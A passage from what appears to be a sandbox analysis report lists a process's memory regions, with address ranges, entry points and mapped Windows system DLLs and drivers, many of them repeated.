0x7ffb19960000 end_va = 0x7ffb19969fff monitored = 0 entry_point = 0x7ffb19961660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2782 start_va = 0x7ffb1ae60000 end_va = 0x7ffb1ae72fff monitored = 0 entry_point = 0x7ffb1ae62760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2783 start_va = 0x7ffb1b210000 end_va = 0x7ffb1b236fff monitored = 0 entry_point = 0x7ffb1b217940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2784 start_va = 0x7ffb1bbe0000 end_va = 0x7ffb1bbebfff monitored = 0 entry_point = 0x7ffb1bbe27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2785 start_va = 0x7ffb1bd20000 end_va = 0x7ffb1bd99fff monitored = 0 entry_point = 0x7ffb1bd41a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2786 start_va = 0x7ffb1c450000 end_va = 0x7ffb1c47cfff monitored = 0 entry_point = 0x7ffb1c469d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2787 start_va = 0x7ffb1c5e0000 end_va = 0x7ffb1c635fff monitored = 0 entry_point = 0x7ffb1c5f0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2788 start_va = 0x7ffb1c660000 end_va = 0x7ffb1c688fff monitored = 0 entry_point = 0x7ffb1c674530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2789 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2790 start_va = 0x7ffb1c800000 end_va = 0x7ffb1c84afff monitored = 0 entry_point = 0x7ffb1c8035f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2791 start_va = 0x7ffb1c850000 end_va = 0x7ffb1c85ffff monitored = 0 entry_point = 0x7ffb1c8556e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2792 start_va = 0x7ffb1c860000 end_va = 0x7ffb1c876fff monitored = 0 entry_point = 0x7ffb1c861390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2793 start_va = 0x7ffb1ced0000 end_va = 0x7ffb1cf12fff monitored = 0 entry_point = 0x7ffb1cee4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2794 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2795 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2796 start_va = 0x7ffb1d3e0000 end_va = 0x7ffb1d5a6fff monitored = 0 entry_point = 0x7ffb1d43db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2797 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2798 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2799 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2800 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2801 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2802 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2803 start_va = 0x7ffb1fdf0000 end_va = 0x7ffb1fe5afff monitored = 0 entry_point = 0x7ffb1fe090c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2804 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2805 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2806 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2807 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2808 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2816 start_va = 0x20abc390000 end_va = 0x20abc391fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc390000" filename = "" Region: id = 2817 start_va = 0x7ffb1bf30000 end_va = 0x7ffb1bf4efff monitored = 0 entry_point = 0x7ffb1bf35d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2818 start_va = 0x7ffb1c7d0000 end_va = 0x7ffb1c7e3fff monitored = 0 entry_point = 0x7ffb1c7d52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2819 start_va = 0x2dc2600000 end_va = 0x2dc267ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2600000" filename = "" Region: id = 5070 start_va = 0x20abc4e0000 end_va = 0x20abc5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abc4e0000" filename = "" Region: id = 5071 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc390420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5072 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5073 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc390420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5074 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5075 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc390420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5076 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5077 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc390420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5078 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5079 start_va = 0x20abc380000 end_va = 0x20abc399fff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 5080 start_va = 0x20abc3a0000 end_va = 0x20abc3a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 5081 start_va = 0x20abc380000 end_va = 0x20abc399fff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 5082 start_va = 0x20abc3a0000 end_va = 0x20abc3a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 5083 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 5084 start_va = 0x20abc5e0000 end_va = 0x20abc69bfff monitored = 0 entry_point = 0x20abc61c480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 5085 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 5086 start_va = 0x20abc5e0000 end_va = 0x20abc69bfff monitored = 0 entry_point = 0x20abc61c480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 5087 start_va = 0x20abc380000 end_va = 0x20abc3aafff monitored = 0 entry_point = 0x20abc39d000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5088 start_va = 0x20abc3b0000 end_va = 0x20abc3b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5089 start_va = 0x20abc380000 end_va = 0x20abc3aafff monitored = 0 entry_point = 0x20abc39d000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5090 start_va = 0x20abc3b0000 end_va = 0x20abc3b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5091 start_va = 0x20abc380000 end_va = 0x20abc3aafff monitored = 0 entry_point = 0x20abc39d000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5092 start_va = 0x20abc3b0000 end_va = 0x20abc3b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5093 start_va = 0x20abc380000 end_va = 0x20abc3aafff monitored = 0 entry_point = 0x20abc39d000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5094 start_va = 0x20abc3b0000 end_va = 0x20abc3b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5095 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5096 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5097 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5098 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5099 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5100 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5101 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5102 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5103 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5104 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5105 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5106 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5107 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5108 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5109 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5110 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5111 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5112 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5113 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5114 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5115 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5116 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5117 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5118 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5119 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5120 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5121 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5122 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5123 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5124 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5125 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5126 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5127 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5128 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5129 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5130 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5131 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5132 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5133 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5134 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5135 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5136 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5137 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5138 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5139 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5140 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5141 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5142 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = 